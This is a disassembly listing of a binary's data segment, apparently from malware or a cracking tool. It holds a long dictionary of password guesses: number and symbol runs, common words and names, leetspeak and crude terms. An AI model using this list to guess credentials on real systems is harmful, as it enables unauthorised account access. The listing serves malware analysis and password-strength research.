align 4
a33333333 db '33333333',0 ; DATA XREF: seg002:0042E078o
align 4
a3333333 db '3333333',0 ; DATA XREF: seg002:0042E074o
a333333 db '333333',0 ; DATA XREF: seg002:0042E070o
align 4
a33333 db '33333',0 ; DATA XREF: seg002:0042E06Co
align 10h
a3333 db '3333',0 ; DATA XREF: seg002:0042E068o
align 4
a333 db '333',0 ; DATA XREF: seg002:0042E064o
a33 db '33',0 ; DATA XREF: seg002:0042E060o
align 10h
a3: ; DATA XREF: seg002:0042E05Co
unicode 0, <3>,0
a2222222222 db '2222222222',0 ; DATA XREF: seg002:0042E058o
align 10h
a222222222 db '222222222',0 ; DATA XREF: seg002:0042E054o
align 4
a22222222 db '22222222',0 ; DATA XREF: seg002:0042E050o
align 4
a2222222 db '2222222',0 ; DATA XREF: seg002:0042E04Co
a222222 db '222222',0 ; DATA XREF: seg002:0042E048o
align 4
a22222 db '22222',0 ; DATA XREF: seg002:0042E044o
align 10h
a2222 db '2222',0 ; DATA XREF: seg002:0042E040o
align 4
a222 db '222',0 ; DATA XREF: seg002:0042E03Co
a22 db '22',0 ; DATA XREF: seg002:0042E038o
align 10h
a2: ; DATA XREF: seg002:0042E034o
unicode 0, <2>,0
a1111111111 db '1111111111',0 ; DATA XREF: seg002:0042E030o
align 10h
a111111111 db '111111111',0 ; DATA XREF: seg002:0042E02Co
align 4
a1111111 db '1111111',0 ; DATA XREF: seg002:0042E024o
a11111 db '11111',0 ; DATA XREF: seg002:0042E01Co
align 4
a1111 db '1111',0 ; DATA XREF: seg002:0042E018o
align 4
a11 db '11',0 ; DATA XREF: seg002:0042E010o
align 4
a010 db '010',0 ; DATA XREF: seg002:0042E000o
a009 db '009',0 ; DATA XREF: seg002:0042DFFCo
a008 db '008',0 ; DATA XREF: seg002:0042DFF8o
a006 db '006',0 ; DATA XREF: seg002:0042DFF0o
a005 db '005',0 ; DATA XREF: seg000:0040D04Eo
; seg002:0042DFECo
a004 db '004',0 ; DATA XREF: seg002:0042DFE8o
a003 db '003',0 ; DATA XREF: seg002:0042DFE4o
a002 db '002',0 ; DATA XREF: seg002:0042DFE0o
a001 db '001',0 ; DATA XREF: seg000:0040D039o
; seg002:0042DFDCo
asc_42F28C db '*********',0 ; DATA XREF: seg002:0042DFD8o
align 4
asc_42F298 db '********',0 ; DATA XREF: seg002:0042DFD4o
align 4
asc_42F2A4 db '*******',0 ; DATA XREF: seg002:0042DFD0o
asc_42F2AC db '******',0 ; DATA XREF: seg002:0042DFCCo
align 4
asc_42F2B4 db '*****',0 ; DATA XREF: seg002:0042DFC8o
align 4
asc_42F2BC db '****',0 ; DATA XREF: seg002:0042DFC4o
align 4
asc_42F2C4 db '***',0 ; DATA XREF: seg002:0042DFC0o
asc_42F2C8 db '**',0 ; DATA XREF: seg002:0042DFBCo
align 4
a0000000000 db '0000000000',0 ; DATA XREF: seg002:0042DFB4o
align 4
a000000000 db '000000000',0 ; DATA XREF: seg002:0042DFB0o
align 4
a@ db '@!',0 ; DATA XREF: seg002:0042DF90o
align 4
a@_0 db '#@!',0 ; DATA XREF: seg002:0042DF8Co
a@_1 db '$#@!',0 ; DATA XREF: seg002:0042DF88o
align 4
a@_2 db '%$#@!',0 ; DATA XREF: seg002:0042DF84o
align 4
a@_3 db '^%$#@!',0 ; DATA XREF: seg002:0042DF80o
align 4
a@_4 db '&^%$#@!',0 ; DATA XREF: seg002:0042DF7Co
a@_5 db '*&^%$#@!',0 ; DATA XREF: seg002:0042DF78o
align 4
asc_42F318 db '$$$',0 ; DATA XREF: seg002:0042DF74o
asc_42F31C db '$$',0 ; DATA XREF: seg002:0042DF70o
align 10h
asc_42F320: ; DATA XREF: seg002:0042DF6Co
unicode 0, <$>,0
a456_0 db '456+',0 ; DATA XREF: seg002:0042DF68o
align 4
a789_0 db '789+',0 ; DATA XREF: seg002:0042DF64o
align 4
a0 db '=-0',0 ; DATA XREF: seg002:0042DF60o
asc_42F338 db '--++',0 ; DATA XREF: seg002:0042DF5Co
align 10h
asc_42F340 db '-+',0 ; DATA XREF: seg002:0042DF58o
align 4
asc_42F344 db '----',0 ; DATA XREF: seg002:0042DF54o
align 4
asc_42F34C db '--',0 ; DATA XREF: seg002:0042DF4Co
; seg002:0042DF50o
align 10h
asc_42F350: ; DATA XREF: seg002:0042DF48o
unicode 0, <->,0
asc_42F354 db '++++',0 ; DATA XREF: seg002:0042DF44o
align 4
asc_42F35C db '+++',0 ; DATA XREF: seg002:0042DF40o
asc_42F360 db '++',0 ; DATA XREF: seg002:0042DF3Co
align 4
asc_42F364: ; DATA XREF: seg002:0042DF38o
unicode 0, <+>,0
a@@ db '@@',0 ; DATA XREF: seg002:0042DF34o
align 4
a@_6: ; DATA XREF: seg000:0040D073o
; seg002:0042DF30o
unicode 0, <@>,0
off_42F370 dd offset loc_40211D+4 ; DATA XREF: seg002:0042DF2Co
dword_42F374 dd 2121h dword_42F378 dd 24234021h, 2A265E25h, 0dword_42F384 dd 24234021h, 265E25hdword_42F38C dd 24234021h, 5E25hdword_42F394 dd 24234021h, 25hdword_42F39C dd 234021h dword_42F3A0 dd 4021h dword_42F3A4 dd 21h ; seg000:0041299Ao ...
dword_42F3A8 dd 25h aZimmerman db 'zimmerman',0 ; DATA XREF: seg002:0042DF00o
align 4
aZap db 'zap',0 ; DATA XREF: seg002:0042DEFCo
aYellowstone db 'yellowstone',0 ; DATA XREF: seg002:0042DEF8o
aXyz db 'xyz',0 ; DATA XREF: seg002:0042DEF4o
; seg002:0042E3ECo
aWisconsin db 'wisconsin',0 ; DATA XREF: seg002:0042DEF0o
align 4
aWilliamsburg db 'williamsburg',0 ; DATA XREF: seg002:0042DEECo
align 4
aWholesale db 'wholesale',0 ; DATA XREF: seg002:0042DEE8o
align 4
aTty db 'tty',0 ; DATA XREF: seg002:0042DEE4o
aTopography db 'topography',0 ; DATA XREF: seg002:0042DEE0o
align 4
aTemptation db 'temptation',0 ; DATA XREF: seg002:0042DEDCo
align 10h
aTelephone db 'telephone',0 ; DATA XREF: seg002:0042DED8o
align 4
aTangerine db 'tangerine',0 ; DATA XREF: seg002:0042DED4o
align 4
aSys db 'sys',0 ; DATA XREF: seg002:0042DED0o
aSupported db 'supported',0 ; DATA XREF: seg002:0042DECCo
align 4
aSuperuser db 'superuser',0 ; DATA XREF: seg002:0042DEC8o
align 4
aSuperstage db 'superstage',0 ; DATA XREF: seg002:0042DEC4o
align 10h
aSun db 'sun',0 ; DATA XREF: seg002:0042DEC0o
aStuttgart db 'stuttgart',0 ; DATA XREF: seg002:0042DEBCo
align 10h
aStratford db 'stratford',0 ; DATA XREF: seg002:0042DEB8o
align 4
aStephanie db 'stephanie',0 ; DATA XREF: seg002:0042DEB4o
align 4
aSignature db 'signature',0 ; DATA XREF: seg002:0042DEB0o
align 4
aSheffield db 'sheffield',0 ; DATA XREF: seg002:0042DEACo
align 10h
aSal db 'sal',0 ; DATA XREF: seg002:0042DEA8o
aRochester db 'rochester',0 ; DATA XREF: seg002:0042DEA4o
align 10h
aRje db 'rje',0 ; DATA XREF: seg002:0042DEA0o
aRachmaninoff db 'rachmaninoff',0 ; DATA XREF: seg002:0042DE9Co
align 4
aPub db 'pub',0 ; DATA XREF: seg002:0042DE98o
aProfessor db 'professor',0 ; DATA XREF: seg002:0042DE94o
align 4
aPrinceton db 'princeton',0 ; DATA XREF: seg002:0042DE90o
align 10h
aPondering db 'pondering',0 ; DATA XREF: seg002:0042DE8Co
align 4
aPolynomial db 'polynomial',0 ; DATA XREF: seg002:0042DE88o
align 4
aPersimmon db 'persimmon',0 ; DATA XREF: seg002:0042DE84o
align 4
aPercolate db 'percolate',0 ; DATA XREF: seg002:0042DE80o
align 10h
aPam db 'pam',0 ; DATA XREF: seg002:0042DE7Co
aPad db 'pad',0 ; DATA XREF: seg002:0042DE78o
aOceanography db 'oceanography',0 ; DATA XREF: seg002:0042DE74o
align 4
aNutrition db 'nutrition',0 ; DATA XREF: seg002:0042DE70o
align 4
aNew db 'new',0 ; DATA XREF: seg002:0042DE6Co
aNet db 'net',0 ; DATA XREF: seg002:0042DE68o
aMit db 'mit',0 ; DATA XREF: seg002:0042DE64o
aMgr db 'mgr',0 ; DATA XREF: seg002:0042DE60o
aMacintosh db 'macintosh',0 ; DATA XREF: seg002:0042DE5Co
align 10h
aLiz db 'liz',0 ; DATA XREF: seg002:0042DE58o
aLee db 'lee',0 ; DATA XREF: seg002:0042DE54o
aLamination db 'lamination',0 ; DATA XREF: seg002:0042DE50o
align 4
aKim db 'kim',0 ; DATA XREF: seg002:0042DE4Co
aJoy db 'joy',0 ; DATA XREF: seg002:0042DE44o
aJen db 'jen',0 ; DATA XREF: seg002:0042DE40o
aInnocuous db 'innocuous',0 ; DATA XREF: seg002:0042DE3Co
align 4
aImbroglio db 'imbroglio',0 ; DATA XREF: seg002:0042DE38o
align 4
aIbm db 'ibm',0 ; DATA XREF: seg002:0042DE34o
aHappening db 'happening',0 ; DATA XREF: seg002:0042DE30o
align 4
aHal db 'hal',0 ; DATA XREF: seg002:0042DE2Co
aGnu db 'gnu',0 ; DATA XREF: seg002:0042DE28o
aFun db 'fun',0 ; DATA XREF: seg002:0042DE24o
aForesight db 'foresight',0 ; DATA XREF: seg002:0042DE20o
align 10h
aFoolproof db 'foolproof',0 ; DATA XREF: seg002:0042DE1Co
align 4
aExtension db 'extension',0 ; DATA XREF: seg002:0042DE18o
align 4
aEstablish db 'establish',0 ; DATA XREF: seg002:0042DE14o
align 4
aEnterprise db 'enterprise',0 ; DATA XREF: seg002:0042DE10o
align 10h
aElizabeth db 'elizabeth',0 ; DATA XREF: seg002:0042DE0Co
align 4
aEiderdown db 'eiderdown',0 ; DATA XREF: seg002:0042DE08o
align 4
aEdinburgh db 'edinburgh',0 ; DATA XREF: seg002:0042DE04o
align 4
aDos db 'dos',0 ; DATA XREF: seg002:0042DE00o
aDog db 'dog',0 ; DATA XREF: seg002:0042DDFCo
aDiscovery db 'discovery',0 ; DATA XREF: seg002:0042DDF8o
align 4
aDesperate db 'desperate',0 ; DATA XREF: seg002:0042DDF4o
align 4
aDeb db 'deb',0 ; DATA XREF: seg002:0042DDF0o
aCornelius db 'cornelius',0 ; DATA XREF: seg002:0042DDECo
align 4
aCommrades db 'commrades',0 ; DATA XREF: seg002:0042DDE8o
align 10h
aChristine db 'christine',0 ; DATA XREF: seg002:0042DDE4o
align 4
aChristina db 'christina',0 ; DATA XREF: seg002:0042DDE0o
align 4
aChemistry db 'chemistry',0 ; DATA XREF: seg002:0042DDDCo
align 4
aCatherine db 'catherine',0 ; DATA XREF: seg002:0042DDD8o
align 10h
aCat db 'cat',0 ; DATA XREF: seg002:0042DDD4o
aCampanile db 'campanile',0 ; DATA XREF: seg002:0042DDD0o
align 10h
aCad db 'cad',0 ; DATA XREF: seg002:0042DDCCo
aBsd db 'bsd',0 ; DATA XREF: seg002:0042DDC8o
aBob db 'bob',0 ; DATA XREF: seg002:0042DDC4o
aBicameral db 'bicameral',0 ; DATA XREF: seg002:0042DDC0o
align 4
aBeethoven db 'beethoven',0 ; DATA XREF: seg002:0042DDBCo
align 4
aAtmosphere db 'atmosphere',0 ; DATA XREF: seg002:0042DDB8o
align 10h
aAsm db 'asm',0 ; DATA XREF: seg002:0042DDB4o
aAsd db 'asd',0 ; DATA XREF: seg002:0042DDB0o
aAnthropogenic db 'anthropogenic',0 ; DATA XREF: seg002:0042DDACo
align 4
aAnn db 'ann',0 ; DATA XREF: seg002:0042DDA8o
aAndromache db 'andromache',0 ; DATA XREF: seg002:0042DDA4o
align 4
aAmy db 'amy',0 ; DATA XREF: seg002:0042DDA0o
aAmorphous db 'amorphous',0 ; DATA XREF: seg002:0042DD9Co
align 4
aAma db 'ama',0 ; DATA XREF: seg002:0042DD98o
aAlf db 'alf',0 ; DATA XREF: seg002:0042DD94o
aAlbatross db 'albatross',0 ; DATA XREF: seg002:0042DD90o
align 4
aAda db 'ada',0 ; DATA XREF: seg002:0042DD8Co
aH4x0ring db 'h4x0ring',0 ; DATA XREF: seg002:0042DD88o
align 4
aH4x0r1ng db 'h4x0r1ng',0 ; DATA XREF: seg002:0042DD84o
align 4
aH4x1ng db 'h4x1ng',0 ; DATA XREF: seg002:0042DD80o
align 10h
aHaxing db 'haxing',0 ; DATA XREF: seg002:0042DD7Co
align 4
aHax db 'hax',0 ; DATA XREF: seg002:0042DD78o
aWh0re db 'wh0re',0 ; DATA XREF: seg002:0042DD74o
align 4
aHo db 'ho',0 ; DATA XREF: seg002:0042DD70o
align 4
aWh0r3 db 'wh0r3',0 ; DATA XREF: seg002:0042DD6Co
align 10h
aWindoze95 db 'windoze95',0 ; DATA XREF: seg002:0042DD68o
align 4
aWindoze98 db 'windoze98',0 ; DATA XREF: seg002:0042DD64o
align 4
aWindozeme db 'windozeME',0 ; DATA XREF: seg002:0042DD60o
align 4
aWindoze2k db 'windoze2k',0 ; DATA XREF: seg002:0042DD5Co
align 10h
aWindozexp db 'windozexp',0 ; DATA XREF: seg002:0042DD58o
align 4
aWindows95 db 'windows95',0 ; DATA XREF: seg002:0042DD54o
align 4
aWindows98 db 'windows98',0 ; DATA XREF: seg002:0042DD50o
align 4
aWindowsme db 'windowsME',0 ; DATA XREF: seg002:0042DD4Co
align 10h
aWindows2k db 'windows2k',0 ; DATA XREF: seg002:0042DD48o
align 4
aWindowsxp db 'WindowsXP',0 ; DATA XREF: seg002:0042DD44o
align 4
aMs db 'MS',0 ; DATA XREF: seg002:0042DD40o
align 4
aM_0 db 'M$',0 ; DATA XREF: seg002:0042DD3Co
align 10h
aBilly db 'billy',0 ; DATA XREF: seg002:0042DD38o
align 4
aWindose db 'windose',0 ; DATA XREF: seg002:0042DD34o
aWindoze db 'windoze',0 ; DATA XREF: seg002:0042DD30o
aWindowz db 'windowz',0 ; DATA XREF: seg002:0042DD2Co
aWileecoyote db 'wileecoyote',0 ; DATA XREF: seg002:0042DD28o
aDonaldduck db 'donaldduck',0 ; DATA XREF: seg002:0042DD24o
align 4
aAlexander db 'Alexander',0 ; DATA XREF: seg002:0042DD20o
align 4
aAl3x db 'Al3x',0 ; DATA XREF: seg002:0042DD1Co
align 4
aDud3 db 'dud3',0 ; DATA XREF: seg002:0042DD18o
align 4
aDudette db 'dudette',0 ; DATA XREF: seg002:0042DD14o
aD00d db 'd00d',0 ; DATA XREF: seg002:0042DD10o
align 4
aLol db 'lol',0 ; DATA XREF: seg002:0042DD0Co
aRoscopcoltrane db 'RoscoPColtrane',0 ; DATA XREF: seg002:0042DD08o
align 4
aRoscop db 'RoscoP',0 ; DATA XREF: seg002:0042DD04o
align 10h
aRosco db 'Rosco',0 ; DATA XREF: seg002:0042DD00o
align 4
aRoss db 'Ross',0 ; DATA XREF: seg002:0042DCFCo
align 10h
aTestin db 'testin',0 ; DATA XREF: seg002:0042DCF8o
align 4
aTester db 'tester',0 ; DATA XREF: seg002:0042DCF4o
align 10h
a00000000 db '00000000',0 ; DATA XREF: seg002:0042DCF0o
; seg002:0042DFACo
align 4
aZulu db 'zulu',0 ; DATA XREF: seg002:0042DCECo
align 4
aZombie db 'zombie',0 ; DATA XREF: seg002:0042DCE8o
align 4
aZmodem db 'zmodem',0 ; DATA XREF: seg002:0042DCE4o
align 4
aZimmerma db 'zimmerma',0 ; DATA XREF: seg002:0042DCE0o
align 10h
aZiggy db 'ziggy',0 ; DATA XREF: seg002:0042DCDCo
align 4
aZeitgeis db 'zeitgeis',0 ; DATA XREF: seg002:0042DCD8o
align 4
aZebra db 'zebra',0 ; DATA XREF: seg002:0042DCD4o
align 4
aYoung db 'young',0 ; DATA XREF: seg002:0042DCD0o
align 4
aYosemite db 'yosemite',0 ; DATA XREF: seg002:0042DCCCo
align 10h
aYolanda db 'yolanda',0 ; DATA XREF: seg002:0042DCC8o
aYellowst db 'yellowst',0 ; DATA XREF: seg002:0042DCC4o
align 4
aYellow db 'yellow',0 ; DATA XREF: seg002:0042DCC0o
align 4
aYankee db 'yankee',0 ; DATA XREF: seg002:0042DCBCo
align 4
aYang db 'yang',0 ; DATA XREF: seg002:0042DCB8o
; seg002:0042E3F4o
align 4
aYaco db 'yaco',0 ; DATA XREF: seg002:0042DCB4o
; seg002:0042E3F0o
align 4
aXyzzy db 'xyzzy',0 ; DATA XREF: seg002:0042DCB0o
align 4
aXray db 'xray',0 ; DATA XREF: seg002:0042DCACo
align 4
aXmodem db 'xmodem',0 ; DATA XREF: seg002:0042DCA8o
align 4
aXmen db 'xmen',0 ; DATA XREF: seg002:0042DCA4o
align 4
aXman db 'xman',0 ; DATA XREF: seg002:0042DCA0o
align 4
aXfer db 'xfer',0 ; DATA XREF: seg002:0042DC9Co
align 4
aXena db 'xena',0 ; DATA XREF: seg002:0042DC98o
align 4
aWyoming db 'wyoming',0 ; DATA XREF: seg002:0042DC94o
aWwii db 'wwii',0 ; DATA XREF: seg002:0042DC90o
align 4
aWormwood db 'wormwood',0 ; DATA XREF: seg002:0042DC8Co
align 4
aWorm db 'worm',0 ; DATA XREF: seg002:0042DC88o
align 10h
aWork db 'work',0 ; DATA XREF: seg002:0042DC84o
align 4
aWorf db 'worf',0 ; DATA XREF: seg002:0042DC80o
align 10h
aWordperf db 'wordperf',0 ; DATA XREF: seg002:0042DC7Co
align 4
aWord db 'word',0 ; DATA XREF: seg002:0042DC78o
align 4
aWoodwind db 'woodwind',0 ; DATA XREF: seg002:0042DC74o
align 10h
aWood db 'wood',0 ; DATA XREF: seg002:0042DC70o
align 4
aWomen db 'women',0 ; DATA XREF: seg002:0042DC6Co
align 10h
aWombat db 'wombat',0 ; DATA XREF: seg002:0042DC68o
align 4
aWoman db 'woman',0 ; DATA XREF: seg002:0042DC64o
align 10h
aWolverin db 'wolverin',0 ; DATA XREF: seg002:0042DC60o
align 4
aWolf db 'wolf',0 ; DATA XREF: seg002:0042DC5Co
align 4
aWizard db 'wizard',0 ; DATA XREF: seg002:0042DC58o
align 4
aWithin db 'within',0 ; DATA XREF: seg002:0042DC54o
align 4
aWiseass db 'wiseass',0 ; DATA XREF: seg002:0042DC50o
aWisconsi db 'wisconsi',0 ; DATA XREF: seg002:0042DC4Co
align 4
aWired db 'wired',0 ; DATA XREF: seg002:0042DC48o
align 10h
aWinston db 'winston',0 ; DATA XREF: seg002:0042DC44o
aWing db 'wing',0 ; DATA XREF: seg002:0042DC40o
align 10h
aWine db 'wine',0 ; DATA XREF: seg002:0042DC3Co
align 4
aWindows db 'windows',0 ; DATA XREF: seg002:0042DC38o
aWilma db 'wilma',0 ; DATA XREF: seg002:0042DC34o
align 4
aWillie db 'willie',0 ; DATA XREF: seg002:0042DC30o
align 10h
aWilliams db 'williams',0 ; DATA XREF: seg002:0042DC2Co
align 4
aWilliam db 'william',0 ; DATA XREF: seg002:0042DC28o
aWill db 'will',0 ; DATA XREF: seg002:0042DC24o
align 4
aWhore db 'whore',0 ; DATA XREF: seg002:0042DC20o
align 4
aWholesal db 'wholesal',0 ; DATA XREF: seg002:0042DC1Co
align 10h
aWhitney db 'whitney',0 ; DATA XREF: seg002:0042DC18o
aWhiting db 'whiting',0 ; DATA XREF: seg002:0042DC14o
aWhite db 'white',0 ; DATA XREF: seg002:0042DC10o
align 4
aWhisky db 'whisky',0 ; DATA XREF: seg002:0042DC0Co
align 10h
aWhatnot db 'whatnot',0 ; DATA XREF: seg002:0042DC08o
aWhatever db 'whatever',0 ; DATA XREF: seg002:0042DC04o
align 4
aWestern db 'western',0 ; DATA XREF: seg002:0042DC00o
aWest db 'west',0 ; DATA XREF: seg002:0042DBFCo
align 4
aWerewolf db 'werewolf',0 ; DATA XREF: seg002:0042DBF8o
align 10h
aWendy db 'wendy',0 ; DATA XREF: seg002:0042DBF4o
align 4
aWendi db 'wendi',0 ; DATA XREF: seg002:0042DBF0o
align 10h
aWell db 'well',0 ; DATA XREF: seg002:0042DBECo
align 4
aWeenie db 'weenie',0 ; DATA XREF: seg002:0042DBE8o
align 10h
aWeed db 'weed',0 ; DATA XREF: seg002:0042DBE4o
align 4
aWednesda db 'wednesda',0 ; DATA XREF: seg002:0042DBE0o
align 4
aWebpage db 'webpage',0 ; DATA XREF: seg002:0042DBDCo
aWave db 'wave',0 ; DATA XREF: seg002:0042DBD8o
align 4
aWater db 'water',0 ; DATA XREF: seg002:0042DBD4o
align 4
aWatchwor db 'watchwor',0 ; DATA XREF: seg002:0042DBD0o
align 4
aWasp db 'wasp',0 ; DATA XREF: seg002:0042DBCCo
align 10h
aWarren db 'warren',0 ; DATA XREF: seg002:0042DBC8o
align 4
aWarp db 'warp',0 ; DATA XREF: seg002:0042DBC4o
align 10h
aWargames db 'wargames',0 ; DATA XREF: seg002:0042DBC0o
align 4
aWarfare db 'warfare',0 ; DATA XREF: seg002:0042DBBCo
aWarez db 'warez',0 ; DATA XREF: seg002:0042DBB8o
align 4
aWard db 'ward',0 ; DATA XREF: seg002:0042DBB4o
align 4
aWaco db 'waco',0 ; DATA XREF: seg002:0042DBB0o
align 4
aVodka db 'vodka',0 ; DATA XREF: seg002:0042DBACo
align 4
aVisualba db 'visualba',0 ; DATA XREF: seg002:0042DBA8o
align 10h
aVisual db 'visual',0 ; DATA XREF: seg002:0042DBA4o
align 4
aVisitor db 'visitor',0 ; DATA XREF: seg002:0042DBA0o
aVirus db 'virus',0 ; DATA XREF: seg002:0042DB9Co
align 4
aVirginia db 'virginia',0 ; DATA XREF: seg002:0042DB98o
align 4
aVirgin db 'virgin',0 ; DATA XREF: seg002:0042DB94o
align 4
aVillage db 'village',0 ; DATA XREF: seg002:0042DB90o
aVideogam db 'videogam',0 ; DATA XREF: seg002:0042DB8Co
align 10h
aVideo db 'video',0 ; DATA XREF: seg002:0042DB88o
align 4
aVictor db 'victor',0 ; DATA XREF: seg002:0042DB84o
align 10h
aVicky db 'vicky',0 ; DATA XREF: seg002:0042DB80o
align 4
aVertigo db 'vertigo',0 ; DATA XREF: seg002:0042DB7Co
aVeronica db 'veronica',0 ; DATA XREF: seg002:0042DB78o
align 4
aVenus db 'venus',0 ; DATA XREF: seg002:0042DB74o
align 4
aVasant db 'vasant',0 ; DATA XREF: seg002:0042DB70o
align 4
aVampire db 'vampire',0 ; DATA XREF: seg002:0042DB6Co
aValerie db 'valerie',0 ; DATA XREF: seg002:0042DB68o
aVagina db 'vagina',0 ; DATA XREF: seg002:0042DB64o
align 4
aUucp db 'uucp',0 ; DATA XREF: seg002:0042DB60o
align 4
aUtility db 'utility',0 ; DATA XREF: seg002:0042DB5Co
aUtil db 'util',0 ; DATA XREF: seg002:0042DB58o
align 4
aUsmc db 'usmc',0 ; DATA XREF: seg002:0042DB54o
align 4
aUsername db 'username',0 ; DATA XREF: seg002:0042DB50o
align 10h
aUsermane db 'usermane',0 ; DATA XREF: seg002:0042DB4Co
align 4
aUsenet db 'usenet',0 ; DATA XREF: seg002:0042DB48o
align 4
aUrsula db 'ursula',0 ; DATA XREF: seg002:0042DB44o
align 4
aUrchin db 'urchin',0 ; DATA XREF: seg002:0042DB40o
align 4
aUranus db 'uranus',0 ; DATA XREF: seg002:0042DB3Co
align 4
aUpload db 'upload',0 ; DATA XREF: seg002:0042DB38o
align 4
aUnlock db 'unlock',0 ; DATA XREF: seg002:0042DB34o
align 4
aUnknown_0 db 'unknown',0 ; DATA XREF: seg002:0042DB30o
aUniversi db 'universi',0 ; DATA XREF: seg002:0042DB2Co
align 10h
aUniverse db 'universe',0 ; DATA XREF: seg002:0042DB28o
align 4
aUniversa db 'universa',0 ; DATA XREF: seg002:0042DB24o
align 4
aUniform db 'uniform',0 ; DATA XREF: seg002:0042DB20o
aUnicorn db 'unicorn',0 ; DATA XREF: seg002:0042DB1Co
aUnhappy db 'unhappy',0 ; DATA XREF: seg002:0042DB18o
aUndo db 'undo',0 ; DATA XREF: seg002:0042DB14o
align 4
aUncle db 'uncle',0 ; DATA XREF: seg002:0042DB10o
align 10h
aUmesh db 'umesh',0 ; DATA XREF: seg002:0042DB0Co
align 4
aUgly db 'ugly',0 ; DATA XREF: seg002:0042DB08o
align 10h
aTuttle db 'tuttle',0 ; DATA XREF: seg002:0042DB04o
align 4
aTurn db 'turn',0 ; DATA XREF: seg002:0042DB00o
align 10h
aTuesday db 'tuesday',0 ; DATA XREF: seg002:0042DAFCo
aTubas db 'tubas',0 ; DATA XREF: seg002:0042DAF8o
align 10h
aTruth db 'truth',0 ; DATA XREF: seg002:0042DAF4o
align 4
aTrue db 'true',0 ; DATA XREF: seg002:0042DAF0o
align 10h
aTron db 'tron',0 ; DATA XREF: seg002:0042DAECo
align 4
aTrombone db 'trombone',0 ; DATA XREF: seg002:0042DAE8o
align 4
aTrojan db 'trojan',0 ; DATA XREF: seg002:0042DAE4o
align 4
aTrivial db 'trivial',0 ; DATA XREF: seg002:0042DAE0o
aTrisha db 'trisha',0 ; DATA XREF: seg002:0042DADCo
align 4
aTrek db 'trek',0 ; DATA XREF: seg002:0042DAD8o
align 4
aTree db 'tree',0 ; DATA XREF: seg002:0042DAD4o
align 4
aTrapdoor db 'trapdoor',0 ; DATA XREF: seg002:0042DAD0o
align 4
aTrap db 'trap',0 ; DATA XREF: seg002:0042DACCo
align 10h
aTransfer db 'transfer',0 ; DATA XREF: seg002:0042DAC8o
align 4
aTrails db 'trails',0 ; DATA XREF: seg002:0042DAC4o
align 4
aTracy db 'tracy',0 ; DATA XREF: seg002:0042DAC0o
align 4
aTracie db 'tracie',0 ; DATA XREF: seg002:0042DABCo
align 4
aTraci db 'traci',0 ; DATA XREF: seg002:0042DAB8o
align 4
aToyota db 'toyota',0 ; DATA XREF: seg002:0042DAB4o
; seg002:0042E3C4o
align 4
aToxic db 'toxic',0 ; DATA XREF: seg002:0042DAB0o
align 4
aTortoise db 'tortoise',0 ; DATA XREF: seg002:0042DAACo
align 4
aTopograp db 'topograp',0 ; DATA XREF: seg002:0042DAA8o
align 4
aTomato db 'tomato',0 ; DATA XREF: seg002:0042DAA4o
align 4
aTokenrin db 'tokenrin',0 ; DATA XREF: seg002:0042DAA0o
align 4
aToken db 'token',0 ; DATA XREF: seg002:0042DA9Co
align 10h
aToggle db 'toggle',0 ; DATA XREF: seg002:0042DA98o
align 4
aToad db 'toad',0 ; DATA XREF: seg002:0042DA94o
align 10h
aTits db 'tits',0 ; DATA XREF: seg002:0042DA90o
align 4
aTina db 'tina',0 ; DATA XREF: seg002:0042DA8Co
align 10h
aTime db 'time',0 ; DATA XREF: seg002:0042DA88o
align 4
aTiger db 'tiger',0 ; DATA XREF: seg002:0042DA84o
; seg002:0042E3B8o
align 10h
aTiffany db 'tiffany',0 ; DATA XREF: seg002:0042DA80o
aThursday db 'thursday',0 ; DATA XREF: seg002:0042DA7Co
align 4
aThin db 'thin',0 ; DATA XREF: seg002:0042DA78o
align 4
aTheresa db 'theresa',0 ; DATA XREF: seg002:0042DA74o
aThailand db 'thailand',0 ; DATA XREF: seg002:0042DA70o
align 10h
aText db 'text',0 ; DATA XREF: seg002:0042DA6Co
align 4
aTetris db 'tetris',0 ; DATA XREF: seg002:0042DA68o
align 10h
aTess db 'tess',0 ; DATA XREF: seg002:0042DA64o
align 4
aTerminat db 'terminat',0 ; DATA XREF: seg002:0042DA60o
align 4
aTerminal db 'terminal',0 ; DATA XREF: seg002:0042DA5Co
align 10h
aTera db 'tera',0 ; DATA XREF: seg002:0042DA58o
align 4
aTennis db 'tennis',0 ; DATA XREF: seg002:0042DA54o
align 10h
aTemptati db 'temptati',0 ; DATA XREF: seg002:0042DA50o
align 4
aTelnet db 'telnet',0 ; DATA XREF: seg002:0042DA4Co
align 4
aTelephon db 'telephon',0 ; DATA XREF: seg002:0042DA48o
align 10h
aTeenage db 'teenage',0 ; DATA XREF: seg002:0042DA44o
aTeen db 'teen',0 ; DATA XREF: seg002:0042DA40o
align 10h
aTech db 'tech',0 ; DATA XREF: seg002:0042DA3Co
align 4
aTears db 'tears',0 ; DATA XREF: seg002:0042DA38o
align 10h
aTeapot db 'teapot',0 ; DATA XREF: seg002:0042DA34o
align 4
aTeam db 'team',0 ; DATA XREF: seg002:0042DA30o
align 10h
aTaylor db 'taylor',0 ; DATA XREF: seg002:0042DA28o
align 4
aTarragon db 'tarragon',0 ; DATA XREF: seg002:0042DA24o
align 4
aTarget db 'target',0 ; DATA XREF: seg002:0042DA20o
align 4
aTara db 'tara',0 ; DATA XREF: seg002:0042DA1Co
align 4
aTape db 'tape',0 ; DATA XREF: seg002:0042DA18o
align 4
aTango db 'tango',0 ; DATA XREF: seg002:0042DA14o
align 4
aTangerin db 'tangerin',0 ; DATA XREF: seg002:0042DA10o
align 10h
aTammy db 'tammy',0 ; DATA XREF: seg002:0042DA0Co
align 4
aTamie db 'tamie',0 ; DATA XREF: seg002:0042DA08o
align 10h
aTami db 'tami',0 ; DATA XREF: seg002:0042DA04o
align 4
aTamara db 'tamara',0 ; DATA XREF: seg002:0042DA00o
align 10h
aTall db 'tall',0 ; DATA XREF: seg002:0042D9FCo
align 4
aTalk db 'talk',0 ; DATA XREF: seg002:0042D9F8o
align 10h
aTabasco db 'tabasco',0 ; DATA XREF: seg002:0042D9F4o
aSysop db 'sysop',0 ; DATA XREF: seg002:0042D9F0o
align 10h
aSysadmin db 'sysadmin',0 ; DATA XREF: seg002:0042D9ECo
align 4
aSymmetry db 'symmetry',0 ; DATA XREF: seg002:0042D9E8o
align 4
aSybil db 'sybil',0 ; DATA XREF: seg002:0042D9E4o
align 10h
aSword db 'sword',0 ; DATA XREF: seg002:0042D9E0o
align 4
aSwitch db 'switch',0 ; DATA XREF: seg002:0042D9DCo
align 10h
aSweat db 'sweat',0 ; DATA XREF: seg002:0042D9D8o
align 4
aSwearer db 'swearer',0 ; DATA XREF: seg002:0042D9D4o
